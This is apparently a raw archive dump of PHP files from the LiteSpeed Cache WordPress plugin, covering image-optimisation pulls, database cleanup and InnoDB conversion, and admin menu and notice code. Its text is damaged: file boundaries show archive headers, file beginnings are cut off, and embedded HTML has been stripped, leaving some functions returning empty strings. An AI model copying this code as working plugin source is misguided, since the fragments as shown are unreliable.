$total_pulled_webp + $total_pulled_avif; self::save_summary(); // Manually running needs to roll back timestamp for next running if ( $manual ) { $this->_update_cron_running( true ); } // $msg = sprintf(__('Pulled %d image(s)', 'litespeed-cache'), $total_pulled_ori + $total_pulled_webp); // Admin_Display::success($msg); // Check if there is still task in queue $q = "SELECT * FROM `$this->_table_img_optming` WHERE optm_status = %d LIMIT 1"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $q, self::STATUS_NOTIFIED ) ); if ( $to_be_continued ) { self::debug( 'Task in queue, to be continued...' ); return; // return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_PULL); } // If all pulled, update tag to done self::debug( 'Marked pull status to all pulled' ); self::update_option( self::DB_NEED_PULL, self::STATUS_PULLED ); } /** * Push image back to previous status * * @since 3.0 * @access private * @param int $id The image ID. */ private function _step_back_image( $id ) { global $wpdb; self::debug( 'Push image back to new status [id] ' . $id ); // Reset the image to gathered status $q = "UPDATE `$this->_table_img_optming` SET optm_status = %d WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ self::STATUS_RAW, $id ] ) ); } } db-optm.cls.php000064400000036545152077520260007422 0ustar00db_count( $v ); } return $num; } if ( ! $ignore_multisite ) { if ( is_multisite() && is_network_admin() ) { $num = 0; $blogs = Activation::get_network_ids(); foreach ( $blogs as $k => $blog_id ) { if ( $k > 3 ) { self::$_hide_more = true; break; } switch_to_blog( $blog_id ); $num += (int) $this->db_count( $type, true ); restore_current_blog(); } return $num; } } global $wpdb; switch ( $type ) { case 'revision': $rev_max = (int) $this->conf( Base::O_DB_OPTM_REVISIONS_MAX ); $rev_age = (int) $this->conf( Base::O_DB_OPTM_REVISIONS_AGE ); $sql_add = ''; if ( $rev_age ) { $sql_add = $wpdb->prepare( ' AND post_modified < DATE_SUB( NOW(), INTERVAL %d DAY ) ', $rev_age ); } $sql = "SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_type = 'revision' $sql_add"; if ( ! $rev_max ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return (int) $wpdb->get_var( $sql ); } // Has count limit. $sql = "SELECT COUNT(*) - %d FROM `$wpdb->posts` WHERE post_type = 'revision' $sql_add GROUP BY post_parent HAVING COUNT(*) > %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $res = (array) $wpdb->get_results( $wpdb->prepare( $sql, $rev_max, $rev_max ), ARRAY_N ); Utility::compatibility(); return array_sum( array_column( $res, 0 ) ); case 'orphaned_post_meta': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->postmeta` a LEFT JOIN `$wpdb->posts` b ON b.ID=a.post_id WHERE b.ID IS NULL" ); case 'auto_draft': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_status = 'auto-draft'" ); case 'trash_post': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_status = 'trash'" ); case 'spam_comment': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_approved = 'spam'" ); case 'trash_comment': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_approved = 'trash'" ); case 'trackback-pingback': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_type = 'trackback' OR comment_type = 'pingback'" ); case 'expired_transient': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM `$wpdb->options` WHERE option_name LIKE %s AND option_value < %d", $wpdb->esc_like( '_transient_timeout_' ) . '%', time() ) ); case 'all_transients': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM `$wpdb->options` WHERE option_name LIKE %s", $wpdb->esc_like( '_transient_' ) . '%' ) ); case 'optimize_tables': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_SCHEMA = %s AND ENGINE <> 'InnoDB' AND DATA_FREE > 0", DB_NAME ) ); } return '-'; } /** * Clean/Optimize WP tables. * * @since 1.2.1 * @since 3.0 changed to private * @access private * @param string $type Cleanup type. * @return string Status message. */ private function _db_clean( $type ) { if ( 'all' === $type ) { foreach ( self::$types as $v ) { $this->_db_clean( $v ); } return __( 'Clean all successfully.', 'litespeed-cache' ); } global $wpdb; switch ( $type ) { case 'revision': $rev_max = (int) $this->conf( Base::O_DB_OPTM_REVISIONS_MAX ); $rev_age = (int) $this->conf( Base::O_DB_OPTM_REVISIONS_AGE ); $postmeta = "`$wpdb->postmeta`"; $posts = "`$wpdb->posts`"; $sql_postmeta_join = function ( $table ) use ( $postmeta, $posts ) { return " $postmeta CROSS JOIN $table ON $posts.ID = $postmeta.post_id "; }; $sql_where = "WHERE $posts.post_type = 'revision'"; // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $sql_add = $rev_age ? $wpdb->prepare( ' AND ' . $posts . '.post_modified < DATE_SUB( NOW(), INTERVAL %d DAY )', $rev_age ) : ''; if ( ! $rev_max ) { $sql_where = "$sql_where $sql_add"; $sql_postmeta = $sql_postmeta_join( $posts ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( "DELETE $postmeta FROM $sql_postmeta $sql_where" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( "DELETE FROM $posts $sql_where" ); } else { // Has count limit. $sql = " SELECT COUNT(*) - %d AS del_max, post_parent FROM $posts WHERE post_type = 'revision' $sql_add GROUP BY post_parent HAVING COUNT(*) > %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $res = (array) $wpdb->get_results( $wpdb->prepare( $sql, $rev_max, $rev_max ) ); $sql_where = " $sql_where AND post_parent = %d ORDER BY ID LIMIT %d "; $sql_postmeta = $sql_postmeta_join( "(SELECT ID FROM $posts $sql_where) AS $posts" ); foreach ( $res as $v ) { $args = [ (int) $v->post_parent, (int) $v->del_max ]; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $wpdb->query( $wpdb->prepare( "DELETE $postmeta FROM $sql_postmeta", $args ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $wpdb->query( $wpdb->prepare( "DELETE FROM $posts $sql_where", $args ) ); } } return __( 'Clean post revisions successfully.', 'litespeed-cache' ); case 'orphaned_post_meta': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE a FROM `$wpdb->postmeta` a LEFT JOIN `$wpdb->posts` b ON b.ID=a.post_id WHERE b.ID IS NULL" ); return __( 'Clean orphaned post meta successfully.', 'litespeed-cache' ); case 'auto_draft': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->posts` WHERE post_status = 'auto-draft'" ); return __( 'Clean auto drafts successfully.', 'litespeed-cache' ); case 'trash_post': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->posts` WHERE post_status = 'trash'" ); return __( 'Clean trashed posts and pages successfully.', 'litespeed-cache' ); case 'spam_comment': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->comments` WHERE comment_approved = 'spam'" ); return __( 'Clean spam comments successfully.', 'litespeed-cache' ); case 'trash_comment': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->comments` WHERE comment_approved = 'trash'" ); return __( 'Clean trashed comments successfully.', 'litespeed-cache' ); case 'trackback-pingback': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->comments` WHERE comment_type = 'trackback' OR comment_type = 'pingback'" ); return __( 'Clean trackbacks and pingbacks successfully.', 'litespeed-cache' ); case 'expired_transient': $keys_to_delete = []; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $transients = $wpdb->get_results( $wpdb->prepare( "SELECT option_name FROM `$wpdb->options` WHERE option_name LIKE %s AND option_value < %d", $wpdb->esc_like( '_transient_timeout_' ) . '%', time() ), ); foreach ( $transients as $transient ) { $keys_to_delete[] = $transient->option_name; $keys_to_delete[] = str_replace( '_transient_timeout_', '_transient_', $transient->option_name ); } if ( ! empty( $keys_to_delete ) ) { $placeholders = implode( ',', array_fill( 0, count( $keys_to_delete ), '%s' ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( $wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQL.InterpolatedNotPrepared "DELETE FROM `$wpdb->options` WHERE option_name IN ( $placeholders )", $keys_to_delete ) ); } return __( 'Clean expired transients successfully.', 'litespeed-cache' ); case 'all_transients': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( $wpdb->prepare( "DELETE FROM `$wpdb->options` WHERE option_name LIKE %s", $wpdb->esc_like( '_transient_' ) . '%' ) ); return __( 'Clean all transients successfully.', 'litespeed-cache' ); case 'optimize_tables': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $result = (array) $wpdb->get_results( $wpdb->prepare( "SELECT table_name, DATA_FREE FROM information_schema.tables WHERE TABLE_SCHEMA = %s AND ENGINE <> 'InnoDB' AND DATA_FREE > 0", DB_NAME ) ); if ( $result ) { foreach ( $result as $row ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( 'OPTIMIZE TABLE ' . esc_sql( $row->table_name ) ); } } return __( 'Optimized all tables.', 'litespeed-cache' ); } } /** * Get all MyISAM tables. * * @since 3.0 * @access public * @return array */ public function list_myisam() { global $wpdb; $like = $wpdb->esc_like( $wpdb->prefix ) . '%'; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (array) $wpdb->get_results( $wpdb->prepare( "SELECT TABLE_NAME as table_name, ENGINE as engine FROM information_schema.tables WHERE TABLE_SCHEMA = %s AND ENGINE = 'myisam' AND TABLE_NAME LIKE %s", DB_NAME, $like ) ); } /** * Convert tables to InnoDB. * * @since 3.0 * @access private * @return void */ private function _conv_innodb() { global $wpdb; $tb_param = isset( $_GET['litespeed_tb'] ) ? sanitize_text_field( wp_unslash( $_GET['litespeed_tb'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! $tb_param ) { Admin_Display::error( 'No table to convert or invalid nonce' ); return; } $tb = false; $list = $this->list_myisam(); $names = wp_list_pluck( $list, 'table_name' ); if ( in_array( $tb_param, $names, true ) ) { $tb = $tb_param; } if ( ! $tb ) { Admin_Display::error( 'No existing table' ); return; } // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.SchemaChange $wpdb->query( 'ALTER TABLE ' . esc_sql( DB_NAME ) . '.' . esc_sql( $tb ) . ' ENGINE = InnoDB' ); Debug2::debug( "[DB] Converted $tb to InnoDB" ); $msg = __( 'Converted to InnoDB successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Count all autoload size. * * @since 3.0 * @access public * @return object Summary with size, entries, and toplist. */ public function autoload_summary() { global $wpdb; $autoload_values = function_exists( 'wp_autoload_values_to_autoload' ) ? wp_autoload_values_to_autoload() : [ 'yes', 'on', 'auto-on', 'auto' ]; $placeholders = implode( ',', array_fill( 0, count( $autoload_values ), '%s' ) ); // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $summary = $wpdb->get_row( $wpdb->prepare( "SELECT SUM(LENGTH(option_value)) AS autoload_size, COUNT(*) AS autload_entries FROM `$wpdb->options` WHERE autoload IN ($placeholders)", $autoload_values ) ); // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $summary->autoload_toplist = $wpdb->get_results( $wpdb->prepare( "SELECT option_name, LENGTH(option_value) AS option_value_length, autoload FROM `$wpdb->options` WHERE autoload IN ($placeholders) ORDER BY option_value_length DESC LIMIT 20", $autoload_values ) ); return $summary; } /** * Handle all request actions from main cls. * * @since 3.0 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_CONV_TB: $this->_conv_innodb(); break; default: if ( 'all' === $type || in_array( $type, self::$types, true ) ) { if ( is_multisite() && is_network_admin() ) { $blogs = Activation::get_network_ids(); foreach ( $blogs as $blog_id ) { switch_to_blog( $blog_id ); $msg = $this->_db_clean( $type ); restore_current_blog(); } } else { $msg = $this->_db_clean( $type ); } Admin_Display::success( $msg ); } break; } Admin::redirect(); } /** * Clean DB via WP-CLI. * * @since 7.0 * @access public * @param string $args Cleanup type. * @return string|false */ public function handler_clean_db_cli( $args ) { if ( defined( 'WP_CLI' ) && constant('WP_CLI') ) { return $this->_db_clean( $args ); } return false; } } admin-display.cls.php000064400000140740152077520260010604 0ustar00 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Admin_Display * * Handles WP-Admin UI for LiteSpeed Cache. */ class Admin_Display extends Base { /** * Log tag for Admin_Display. * * @var string */ const LOG_TAG = '👮‍♀️'; /** * Notice class (info/blue). * * @var string */ const NOTICE_BLUE = 'notice notice-info'; /** * Notice class (success/green). * * @var string */ const NOTICE_GREEN = 'notice notice-success'; /** * Notice class (error/red). * * @var string */ const NOTICE_RED = 'notice notice-error'; /** * Notice class (warning/yellow). * * @var string */ const NOTICE_YELLOW = 'notice notice-warning'; /** * Option key for one-time messages. * * @var string */ const DB_MSG = 'messages'; /** * Option key for pinned messages. * * @var string */ const DB_MSG_PIN = 'msg_pin'; /** * Purge by: category. * * @var string */ const PURGEBY_CAT = '0'; /** * Purge by: post ID. * * @var string */ const PURGEBY_PID = '1'; /** * Purge by: tag. * * @var string */ const PURGEBY_TAG = '2'; /** * Purge by: URL. * * @var string */ const PURGEBY_URL = '3'; /** * Purge selection field name. * * @var string */ const PURGEBYOPT_SELECT = 'purgeby'; /** * Purge list field name. * * @var string */ const PURGEBYOPT_LIST = 'purgebylist'; /** * Dismiss key for messages. * * @var string */ const DB_DISMISS_MSG = 'dismiss'; /** * Rule conflict flag (on). * * @var string */ const RULECONFLICT_ON = 'ExpiresDefault_1'; /** * Rule conflict dismissed flag. * * @var string */ const RULECONFLICT_DISMISSED = 'ExpiresDefault_0'; /** * Router type for QC hide banner. * * @var string */ const TYPE_QC_HIDE_BANNER = 'qc_hide_banner'; /** * Cookie name for QC hide banner. * * @var string */ const COOKIE_QC_HIDE_BANNER = 'litespeed_qc_hide_banner'; /** * Internal messages cache. * * @var array */ protected $messages = []; /** * Cached default settings. * * @var array */ protected $default_settings = []; /** * Whether current context is network admin. * * @var bool */ protected $_is_network_admin = false; /** * Whether multisite is enabled. * * @var bool */ protected $_is_multisite = false; /** * Incremental form submit button index. * * @var int */ private $_btn_i = 0; /** * List of settings with filters and return type. * * @since 7.4 * @deprecated 7.7 Use general conf fitlers. * * @var array> */ protected static $settings_filters = [ // Crawler - Blocklist. 'crawler-blocklist' => [ 'filter' => 'litespeed_crawler_disable_blocklist', 'type' => 'boolean', ], // Crawler - Settings. self::O_CRAWLER_LOAD_LIMIT => [ 'filter' => [ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE, Base::ENV_CRAWLER_LOAD_LIMIT ], 'type' => 'input', ], // Cache - ESI. self::O_ESI_NONCE => [ 'filter' => 'litespeed_esi_nonces', ], // Page Optimization - CSS. 'optm-ucss_per_pagetype' => [ 'filter' => 'litespeed_ucss_per_pagetype', 'type' => 'boolean', ], // Page Optimization - Media. self::O_MEDIA_ADD_MISSING_SIZES => [ 'filter' => 'litespeed_media_ignore_remote_missing_sizes', 'type' => 'boolean', ], // Page Optimization - Media Exclude. self::O_MEDIA_LAZY_EXC => [ 'filter' => 'litespeed_media_lazy_img_excludes', ], // Page Optimization - Tuning (JS). self::O_OPTM_JS_DELAY_INC => [ 'filter' => 'litespeed_optm_js_delay_inc', ], self::O_OPTM_JS_EXC => [ 'filter' => 'litespeed_optimize_js_excludes', ], self::O_OPTM_JS_DEFER_EXC => [ 'filter' => 'litespeed_optm_js_defer_exc', ], self::O_OPTM_GM_JS_EXC => [ 'filter' => 'litespeed_optm_gm_js_exc', ], self::O_OPTM_EXC => [ 'filter' => 'litespeed_optm_uri_exc', ], // Page Optimization - Tuning (CSS). self::O_OPTM_CSS_EXC => [ 'filter' => 'litespeed_optimize_css_excludes', ], self::O_OPTM_UCSS_EXC => [ 'filter' => 'litespeed_ucss_exc', ], ]; /** * Flat pages map: menu slug to template metadata. * * @var array */ private $_pages = []; /** * Initialize the class and set its properties. * * @since 1.0.7 */ public function __construct() { $this->_pages = [ // Site-level pages 'litespeed' => [ 'title' => __( 'Dashboard', 'litespeed-cache' ), 'tpl' => 'dash/entry.tpl.php' ], 'litespeed-optimax' => [ 'title' => __( 'OptimaX', 'litespeed-cache' ), 'tpl' => 'optimax/entry.tpl.php', 'scope' => 'site' ], 'litespeed-presets' => [ 'title' => __( 'Presets', 'litespeed-cache' ), 'tpl' => 'presets/entry.tpl.php', 'scope' => 'site' ], 'litespeed-general' => [ 'title' => __( 'General', 'litespeed-cache' ), 'tpl' => 'general/entry.tpl.php' ], 'litespeed-cache' => [ 'title' => __( 'Cache', 'litespeed-cache' ), 'tpl' => 'cache/entry.tpl.php' ], 'litespeed-cdn' => [ 'title' => __( 'CDN', 'litespeed-cache' ), 'tpl' => 'cdn/entry.tpl.php', 'scope' => 'site' ], 'litespeed-img_optm' => [ 'title' => __( 'Image Optimization', 'litespeed-cache'), 'tpl' => 'img_optm/entry.tpl.php' ], 'litespeed-page_optm' => [ 'title' => __( 'Page Optimization', 'litespeed-cache' ), 'tpl' => 'page_optm/entry.tpl.php', 'scope' => 'site' ], 'litespeed-db_optm' => [ 'title' => __( 'Database', 'litespeed-cache' ), 'tpl' => 'db_optm/entry.tpl.php' ], 'litespeed-crawler' => [ 'title' => __( 'Crawler', 'litespeed-cache' ), 'tpl' => 'crawler/entry.tpl.php', 'scope' => 'site' ], 'litespeed-toolbox' => [ 'title' => __( 'Toolbox', 'litespeed-cache' ), 'tpl' => 'toolbox/entry.tpl.php' ], ]; // main css add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_style' ] ); // Main js add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ] ); $this->_is_network_admin = is_network_admin(); $this->_is_multisite = is_multisite(); // Quick access menu $manage = ( $this->_is_multisite && $this->_is_network_admin ) ? 'manage_network_options' : 'manage_options'; if ( current_user_can( $manage ) ) { add_action( 'wp_before_admin_bar_render', [ GUI::cls(), 'backend_shortcut' ] ); // `admin_notices` is after `admin_enqueue_scripts`. add_action( $this->_is_network_admin ? 'network_admin_notices' : 'admin_notices', [ $this, 'display_messages' ] ); } /** * In case this is called outside the admin page. * * @see https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network * @since 2.0 */ if ( ! function_exists( 'is_plugin_active_for_network' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // add menus (Also check for mu-plugins) if ( $this->_is_network_admin && ( is_plugin_active_for_network( LSCWP_BASENAME ) || defined( 'LSCWP_MU_PLUGIN' ) ) ) { add_action( 'network_admin_menu', [ $this, 'register_admin_menu' ] ); } else { add_action( 'admin_menu', [ $this, 'register_admin_menu' ] ); } $this->cls( 'Metabox' )->register_settings(); } /** * Echo a translated section title. * * @since 3.0 * * @param string $id Language key. * @return void */ public function title( $id ) { echo wp_kses_post( Lang::title( $id ) ); } /** * Bind per-page admin hooks for a given page hook. * * Adds footer text filter and preview banner when loading the page. * * @param string $hook Page hook suffix returned by add_*_page(). * @return void */ private function bind_page( $hook ) { add_action( "load-$hook", function () { add_filter( 'admin_footer_text', function ( $footer_text ) { $this->cls( 'Cloud' )->maybe_preview_banner(); require_once LSCWP_DIR . 'tpl/inc/admin_footer.php'; return $footer_text; }, 1 ); // Add unified body class for settings page and top-level page add_filter( 'admin_body_class', function ( $classes ) { $screen = get_current_screen(); if ( $screen && in_array( $screen->id, [ 'settings_page_litespeed-cache-options', 'toplevel_page_litespeed' ], true ) ) { $classes .= ' litespeed-cache_page_litespeed'; } return $classes; } ); } ); } /** * Render an admin page by slug using its mapped template file. * * @param string $slug The menu slug registered in $_pages. * @return void */ private function render_page( $slug ) { $tpl = LSCWP_DIR . 'tpl/' . $this->_pages[ $slug ]['tpl']; is_file( $tpl ) ? require $tpl : wp_die( 'Template not found' ); } /** * Register the admin menu display. * * @since 1.0.0 * @return void */ public function register_admin_menu() { $capability = $this->_is_network_admin ? 'manage_network_options' : 'manage_options'; $scope = $this->_is_network_admin ? 'network' : 'site'; add_menu_page( 'LiteSpeed Cache', 'LiteSpeed Cache', $capability, 'litespeed' ); foreach ( $this->_pages as $slug => $meta ) { if ( 'litespeed-optimax' === $slug && !defined( 'LITESPEED_OX' ) ) { continue; } if ( ! empty( $meta['scope'] ) && $meta['scope'] !== $scope ) { continue; } $hook = add_submenu_page( 'litespeed', $meta['title'], $meta['title'], $capability, $slug, function () use ( $slug ) { $this->render_page( $slug ); } ); $this->bind_page( $hook ); } // sub menus under options. $hook = add_options_page( 'LiteSpeed Cache', 'LiteSpeed Cache', $capability, 'litespeed-cache-options', function () { $this->render_page( 'litespeed-cache' ); } ); $this->bind_page( $hook ); } /** * Register the stylesheets for the admin area. * * @since 1.0.14 * @return void */ public function enqueue_style() { wp_enqueue_style( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/css/litespeed.css', [], Core::VER, 'all' ); wp_enqueue_style( Core::PLUGIN_NAME . '-dark-mode', LSWCP_PLUGIN_URL . 'assets/css/litespeed-dark-mode.css', [], Core::VER, 'all' ); } /** * Register/enqueue the JavaScript for the admin area. * * @since 1.0.0 * @since 7.3 Added deactivation modal code. * @return void */ public function enqueue_scripts() { wp_register_script( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/js/litespeed-cache-admin.js', [], Core::VER, true ); $localize_data = []; if ( GUI::has_whm_msg() ) { $ajax_url_dismiss_whm = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_WHM, true ); $localize_data['ajax_url_dismiss_whm'] = $ajax_url_dismiss_whm; } if ( GUI::has_msg_ruleconflict() ) { $ajax_url = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_EXPIRESDEFAULT, true ); $localize_data['ajax_url_dismiss_ruleconflict'] = $ajax_url; } // Injection to LiteSpeed pages global $pagenow; $page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( 'admin.php' === $pagenow && $page && ( 0 === strpos( $page, 'litespeed-' ) || 'litespeed' === $page ) ) { if ( in_array( $page, [ 'litespeed-crawler', 'litespeed-cdn' ], true ) ) { // Babel JS type correction add_filter( 'script_loader_tag', [ $this, 'babel_type' ], 10, 3 ); wp_enqueue_script( Core::PLUGIN_NAME . '-lib-react', LSWCP_PLUGIN_URL . 'assets/js/react.min.js', [], Core::VER, false ); wp_enqueue_script( Core::PLUGIN_NAME . '-lib-babel', LSWCP_PLUGIN_URL . 'assets/js/babel.min.js', [], Core::VER, false ); } // Crawler Cookie Simulation if ( 'litespeed-crawler' === $page ) { wp_enqueue_script( Core::PLUGIN_NAME . '-crawler', LSWCP_PLUGIN_URL . 'assets/js/component.crawler.js', [], Core::VER, false ); $localize_data['lang'] = []; $localize_data['lang']['cookie_name'] = __( 'Cookie Name', 'litespeed-cache' ); $localize_data['lang']['cookie_value'] = __( 'Cookie Values', 'litespeed-cache' ); $localize_data['lang']['one_per_line'] = Doc::one_per_line( true ); $localize_data['lang']['remove_cookie_simulation'] = __( 'Remove cookie simulation', 'litespeed-cache' ); $localize_data['lang']['add_cookie_simulation_row'] = __( 'Add new cookie to simulate', 'litespeed-cache' ); if ( empty( $localize_data['ids'] ) ) { $localize_data['ids'] = []; } $localize_data['ids']['crawler_cookies'] = self::O_CRAWLER_COOKIES; } // CDN mapping if ( 'litespeed-cdn' === $page ) { $home_url = home_url( '/' ); $parsed = wp_parse_url( $home_url ); if ( ! empty( $parsed['scheme'] ) ) { $home_url = str_replace( $parsed['scheme'] . ':', '', $home_url ); } $cdn_url = 'https://cdn.' . substr( $home_url, 2 ); wp_enqueue_script( Core::PLUGIN_NAME . '-cdn', LSWCP_PLUGIN_URL . 'assets/js/component.cdn.js', [], Core::VER, false ); $localize_data['lang'] = []; $localize_data['lang']['cdn_mapping_url'] = Lang::title( self::CDN_MAPPING_URL ); $localize_data['lang']['cdn_mapping_inc_img'] = Lang::title( self::CDN_MAPPING_INC_IMG ); $localize_data['lang']['cdn_mapping_inc_css'] = Lang::title( self::CDN_MAPPING_INC_CSS ); $localize_data['lang']['cdn_mapping_inc_js'] = Lang::title( self::CDN_MAPPING_INC_JS ); $localize_data['lang']['cdn_mapping_filetype'] = Lang::title( self::CDN_MAPPING_FILETYPE ); $localize_data['lang']['cdn_mapping_url_desc'] = sprintf( __( 'CDN URL to be used. For example, %s', 'litespeed-cache' ), '' . esc_html( $cdn_url ) . '' ); $localize_data['lang']['one_per_line'] = Doc::one_per_line( true ); $localize_data['lang']['cdn_mapping_remove'] = __( 'Remove CDN URL', 'litespeed-cache' ); $localize_data['lang']['add_cdn_mapping_row'] = __( 'Add new CDN URL', 'litespeed-cache' ); $localize_data['lang']['on'] = __( 'ON', 'litespeed-cache' ); $localize_data['lang']['off'] = __( 'OFF', 'litespeed-cache' ); if ( empty( $localize_data['ids'] ) ) { $localize_data['ids'] = []; } $localize_data['ids']['cdn_mapping'] = self::O_CDN_MAPPING; } } // Load iziModal JS and CSS $show_deactivation_modal = ( is_multisite() && ! is_network_admin() ) ? false : true; if ( $show_deactivation_modal && 'plugins.php' === $pagenow ) { wp_enqueue_script( Core::PLUGIN_NAME . '-iziModal', LSWCP_PLUGIN_URL . 'assets/js/iziModal.min.js', [], Core::VER, true ); wp_enqueue_style( Core::PLUGIN_NAME . '-iziModal', LSWCP_PLUGIN_URL . 'assets/css/iziModal.min.css', [], Core::VER, 'all' ); add_action( 'admin_footer', [ $this, 'add_deactivation_html' ] ); } if ( $localize_data ) { wp_localize_script( Core::PLUGIN_NAME, 'litespeed_data', $localize_data ); } wp_enqueue_script( Core::PLUGIN_NAME ); } /** * Add modal HTML on Plugins screen. * * @since 7.3 * @return void */ public function add_deactivation_html() { require LSCWP_DIR . 'tpl/inc/modal.deactivation.php'; } /** * Filter the script tag for specific handles to set Babel type. * * @since 3.6 * * @param string $tag The script tag. * @param string $handle Script handle. * @param string $src Script source URL. * @return string The filtered script tag. */ public function babel_type( $tag, $handle, $src ) { if ( Core::PLUGIN_NAME . '-crawler' !== $handle && Core::PLUGIN_NAME . '-cdn' !== $handle ) { return $tag; } // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript return ''; } /** * Callback that adds LiteSpeed Cache's action links. * * @since 1.0.0 * * @param array $links Previously added links from other plugins. * @return array Links with the LiteSpeed Cache one appended. */ public function add_plugin_links( $links ) { $links[] = '' . esc_html__( 'Settings', 'litespeed-cache' ) . ''; return $links; } /** * Build a single notice HTML string. * * @since 1.0.7 * * @param string $color The color CSS class for the notice. * @param string $str The notice message. * @param bool $irremovable If true, the notice cannot be dismissed. * @param string $additional_classes Additional classes to add to the wrapper. * @return string The built notice HTML. */ public static function build_notice( $color, $str, $irremovable = false, $additional_classes = '' ) { $cls = $color; if ( $irremovable ) { $cls .= ' litespeed-irremovable'; } else { $cls .= ' is-dismissible'; } if ( $additional_classes ) { $cls .= ' ' . $additional_classes; } // possible translation $str = Lang::maybe_translate( $str ); return '

      ' . wp_kses_post( $str ) . '

